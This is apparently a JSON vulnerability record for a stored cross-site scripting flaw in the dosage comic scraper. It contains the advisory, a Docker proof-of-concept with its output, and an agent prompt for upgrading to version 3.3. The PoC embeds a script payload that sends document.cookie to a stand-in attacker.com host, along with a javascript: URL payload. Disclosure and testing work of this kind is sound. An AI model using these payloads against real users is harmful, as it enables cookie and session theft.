{"answers":{"affected":"2 open source packages ship an affected version, including dosage.","exploited":"There is no known exploitation of GHSA-75mw-h36v-2jv7 in the wild and no public exploit code.","fix":"Upgrade dosage to 3.3 or later.","what":"GHSA-75mw-h36v-2jv7 is a cross-site scripting vulnerability in dosage, published on 26 Jun 2026. It can only be exploited from the same machine or local network, and only if a user opens a file or follows a link."},"fix_prompt":"Check this codebase for GHSA-75mw-h36v-2jv7 and fix it if it is affected.\n\nWhat it is: GHSA-75mw-h36v-2jv7 is a cross-site scripting vulnerability in dosage, published on 26 Jun 2026. It can only be exploited from the same machine or local network, and only if a user opens a file or follows a link.\nExploitation: There is no known exploitation of GHSA-75mw-h36v-2jv7 in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- dosage (PyPI): affected all versions; fixed in 3.3\n- dosage (PyPI): affected all versions; fixed in 3.3\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/GHSA-75mw-h36v-2jv7/ (Markdown: https://insights.sbomify.com/GHSA-75mw-h36v-2jv7/index.md)","id":"GHSA-75mw-h36v-2jv7","markdown":"https://insights.sbomify.com/GHSA-75mw-h36v-2jv7/index.md","name":"GHSA-75mw-h36v-2jv7","record":{"aliases":[],"analysis":{"component_type":"desktop_application","fix_type":"patch","impacts":["code_execution"],"network_reachable":"adjacent_or_local","non_default_config":false,"product_category":"Comic scraper tool","requires_auth":"none","summary":"Attackers can execute arbitrary JavaScript in a victim's browser by crafting malicious webcomic content that is rendered without escaping in generated HTML or RSS files.","user_interaction":"required","vuln_class":"xss"},"analysis_generated_by":"qwen3.8-flash-next","assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"## Summary\n\nThe HTML and RSS output handlers in `dosagelib/events.py` write user-controlled content (comic text and page URLs) directly into generated files without proper HTML escaping. When a user scrapes a malicious webcomic and opens the generated HTML/RSS file, attacker-controlled JavaScript can execute in their browser.\n\n**CWE**: [CWE-79](https://cwe.mitre.org/data/definitions/79.html) - Improper Neutralization of Input During Web Page Generation (Cross-site Scripting)\n\n---\n\n## Details\n\n### Vulnerable Code Locations\n\nThe vulnerability exists in `dosagelib/events.py` where untrusted content is written to HTML/RSS output without escaping:\n\n**1. RSSEventHandler (lines 116-118)**\n```python\n# events.py:116-118\nif comic.text:\n    description += '\u003cbr/\u003e%s' % comic.text        # ← Unescaped comic.text\ndescription += '\u003cbr/\u003e\u003ca href=\"%s\"\u003eView Comic Online\u003c/a\u003e' % pageUrl  # ← Unescaped URL\n```\n\n**2. HtmlEventHandler (lines 232, 238)**\n```python\n# events.py:232\nself.html.write(u'\u003cli\u003e\u003ca href=\"%s\"\u003e%s\u003c/a\u003e\\n' % (pageUrl, pageUrl))  # ← Unescaped URL\n\n# events.py:238\nif text:\n    self.html.write(u'\u003cbr/\u003e%s\\n' % text)  # ← Unescaped text\n```\n\n### Root Cause\n\n- `BasicScraper.fetchText()` in `scraper.py:422` calls `html.unescape()` on extracted text\n- The output handlers never call `html.escape()` before writing to files\n- No sanitization of URLs or text content occurs anywhere in the output pipeline\n\n### Data Flow\n\n```\nMalicious webcomic page\n    ↓\ntextSearch XPath extracts content (e.g., img/@title, div text)\n    ↓\nBasicScraper.fetchText() calls html.unescape()\n    ↓\ncomic.text stored without sanitization\n    ↓\nHtmlEventHandler/RSSEventHandler writes to file without html.escape()\n    ↓\nGenerated HTML/RSS contains executable JavaScript\n```\n\n---\n\n## PoC\n\nI created a proof-of-concept that demonstrates the vulnerability by simulating a malicious comic source.\n\n### Prerequisites\n- Docker installed and running\n\n### PoC Files\n\nCreate these files in a `poc/` directory:\n\n**1. `poc/Dockerfile`**\n```dockerfile\nFROM python:3.11-slim\n\nLABEL description=\"PoC for dosage Stored XSS vulnerability (CWE-79)\"\n\nWORKDIR /app\nCOPY . /app\n\n# Install dependencies\nRUN pip install --no-cache-dir --quiet imagesize lxml requests rich platformdirs\n\n# Install dosage\nENV SETUPTOOLS_SCM_PRETEND_VERSION_FOR_DOSAGE=0.0.0\nRUN pip install --no-cache-dir --quiet .\n\nCMD [\"python\", \"poc/poc.py\"]\n```\n\n**2. `poc/poc.py`**\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: Stored XSS in dosage HTML/RSS Output Handlers\nDemonstrates that untrusted comic content is written to output files unescaped.\n\"\"\"\n\nimport sys\nfrom pathlib import Path\nfrom types import SimpleNamespace\n\nfrom dosagelib.events import HtmlEventHandler, RSSEventHandler\n\n# XSS payloads simulating malicious webcomic content\nMALICIOUS_TEXT = \"Funny Comic!\u003cscript\u003efetch('http://attacker.com/?c='+document.cookie)\u003c/script\u003e\"\nMALICIOUS_URL = \"javascript:alert('XSS-via-URL')\"\n\ndef check_vulnerability(content: str, marker: str, description: str) -\u003e bool:\n    \"\"\"Check if unescaped marker appears in content.\"\"\"\n    if marker.lower() in content.lower():\n        print(f\"  [VULNERABLE] {description}\")\n        print(f\"               Found unescaped: {marker}\")\n        return True\n    print(f\"  [SAFE] {description}\")\n    return False\n\ndef main():\n    print(\"=\" * 70)\n    print(\"PoC: Stored XSS in dosage HTML/RSS Output Handlers\")\n    print(\"=\" * 70)\n    print()\n\n    base = Path(__file__).parent / \"output\"\n    base.mkdir(parents=True, exist_ok=True)\n\n    # Create dummy image file\n    img_path = base / \"payload.png\"\n    img_path.write_bytes(b\"\\x89PNG\\r\\n\\x1a\\n\")\n\n    # Simulate comic with malicious content\n    comic = SimpleNamespace(\n        scraper=SimpleNamespace(name=\"MaliciousComic\"),\n        referrer=MALICIOUS_URL,\n        text=MALICIOUS_TEXT,\n        url=\"http://example.com/comic.png\"\n    )\n\n    vulnerabilities_found = 0\n\n    # Test RSS Handler\n    print(\"[*] Testing RSSEventHandler...\")\n    rss_handler = RSSEventHandler(str(base), None, False)\n    rss_handler.start()\n    rss_handler.comicDownloaded(comic, str(img_path))\n    rss_handler.end()\n    \n    rss_path = Path(rss_handler.rssfn)\n    rss_content = rss_path.read_text(encoding=\"utf-8\")\n    print(f\"    Output file: {rss_path}\")\n    \n    if check_vulnerability(rss_content, \"javascript:\", \"pageUrl in RSS href\"):\n        vulnerabilities_found += 1\n\n    # Test HTML Handler  \n    print()\n    print(\"[*] Testing HtmlEventHandler...\")\n    html_handler = HtmlEventHandler(str(base), None, False)\n    html_handler.start()\n    html_path = Path(html_handler.html.name)\n    html_handler.comicDownloaded(comic, str(img_path), text=MALICIOUS_TEXT)\n    html_handler.end()\n\n    html_content = html_path.read_text(encoding=\"utf-8\")\n    print(f\"    Output file: {html_path}\")\n    \n    if check_vulnerability(html_content, \"\u003cscript\u003e\", \"text param in HTML\"):\n        vulnerabilities_found += 1\n    if check_vulnerability(html_content, \"javascript:\", \"pageUrl in HTML link\"):\n        vulnerabilities_found += 1\n\n    # Show vulnerable content\n    print()\n    print(\"-\" * 70)\n    print(\"Vulnerable Content in Generated HTML:\")\n    print(\"-\" * 70)\n    for line in html_content.splitlines():\n        if \"\u003cscript\u003e\" in line.lower() or \"javascript:\" in line.lower():\n            print(f\"  {line}\")\n\n    print()\n    print(\"=\" * 70)\n    print(f\"RESULT: {vulnerabilities_found} XSS vulnerability vectors confirmed!\")\n    print(\"=\" * 70)\n    \n    return 0 if vulnerabilities_found \u003e 0 else 1\n\nif __name__ == \"__main__\":\n    sys.exit(main())\n```\n\n**3. `poc/run_poc.sh`**\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\nSCRIPT_DIR=\"$(cd \"$(dirname \"${BASH_SOURCE[0]}\")\" \u0026\u0026 pwd)\"\nROOT_DIR=\"$(cd \"${SCRIPT_DIR}/..\" \u0026\u0026 pwd)\"\n\necho \"[*] Building PoC Docker image...\"\ndocker build -t dosage-xss-poc -f \"${SCRIPT_DIR}/Dockerfile\" \"${ROOT_DIR}\" --quiet\n\necho \"[*] Running PoC...\"\ndocker run --rm dosage-xss-poc\n\necho \"[*] Cleanup: docker rmi dosage-xss-poc\"\n```\n\n### Running the PoC\n\n```bash\ncd /path/to/dosage\nchmod +x poc/run_poc.sh\n./poc/run_poc.sh\n```\n\n### PoC Output\n\n```\n======================================================================\nPoC: Stored XSS in dosage HTML/RSS Output Handlers\n======================================================================\n\n[*] Testing RSSEventHandler...\n    Output file: /app/poc/output/dailydose.rss\n  [VULNERABLE] pageUrl in RSS href\n               Found unescaped: javascript:\n\n[*] Testing HtmlEventHandler...\n    Output file: /app/poc/output/html/comics-20251210.html\n  [VULNERABLE] text param in HTML\n               Found unescaped: \u003cscript\u003e\n  [VULNERABLE] pageUrl in HTML link\n               Found unescaped: javascript:\n\n----------------------------------------------------------------------\nVulnerable Content in Generated HTML:\n----------------------------------------------------------------------\n  \u003cli\u003e\u003ca href=\"javascript:alert('XSS-via-URL')\"\u003ejavascript:alert('XSS-via-URL')\u003c/a\u003e\n  \u003cbr/\u003eFunny Comic!\u003cscript\u003efetch('http://attacker.com/?c='+document.cookie)\u003c/script\u003e\n\n======================================================================\nRESULT: 3 XSS vulnerability vectors confirmed!\n======================================================================\n```\n\nThe output shows that:\n1. The `javascript:` URL is written directly into `\u003ca href\u003e` attributes\n2. The `\u003cscript\u003e` tag from comic text appears unescaped in the HTML body\n\n---\n\n## Impact\n\n### Who is affected?\n- Users who use `dosage --output html` or `dosage --output rss` options\n- Anyone who opens the generated HTML/RSS files in a browser\n\n### Attack scenario\n1. Attacker creates or compromises a webcomic site\n2. Attacker injects JavaScript into image title/alt attributes:\n   ```html\n   \u003cimg src=\"comic.png\" title=\"Funny!\u003cscript\u003ealert(1)\u003c/script\u003e\"\u003e\n   ```\n3. Victim runs: `dosage MaliciousComic --output html`\n4. The generated `Comics/html/comics-YYYYMMDD.html` contains the unescaped script\n5. When victim opens the file, JavaScript executes\n\n### Potential consequences\n- **Cookie theft** if files ar","ecosystems":["PyPI"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":true,"headline":"Dosage Vulnerable to Stored Cross-Site Scripting (XSS) in HTML/RSS Output Handlers","id":"GHSA-75mw-h36v-2jv7","indexable":true,"kev":null,"kind":"advisory","links":{"ecosystem":"PyPI","product":null,"products":[],"type":"xss","year":"2026"},"n_packages":2,"n_references":null,"packages":[{"ecosystem":"PyPI","fixed":["3.3"],"introduced":["0"],"last_affected":[],"package":"dosage","purl":null,"source":"GHSA-75mw-h36v-2jv7"},{"ecosystem":"PyPI","fixed":["3.3"],"introduced":["0"],"last_affected":[],"package":"dosage","purl":"pkg:pypi/dosage","source":"GHSA-75mw-h36v-2jv7"}],"products":null,"published":"2026-06-26","related":[],"sources":[{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":"Attackers can execute arbitrary JavaScript in a victim's browser by crafting malicious webcomic content that is rendered without escaping in generated HTML or RSS files.","url":"https://insights.sbomify.com/GHSA-75mw-h36v-2jv7/"}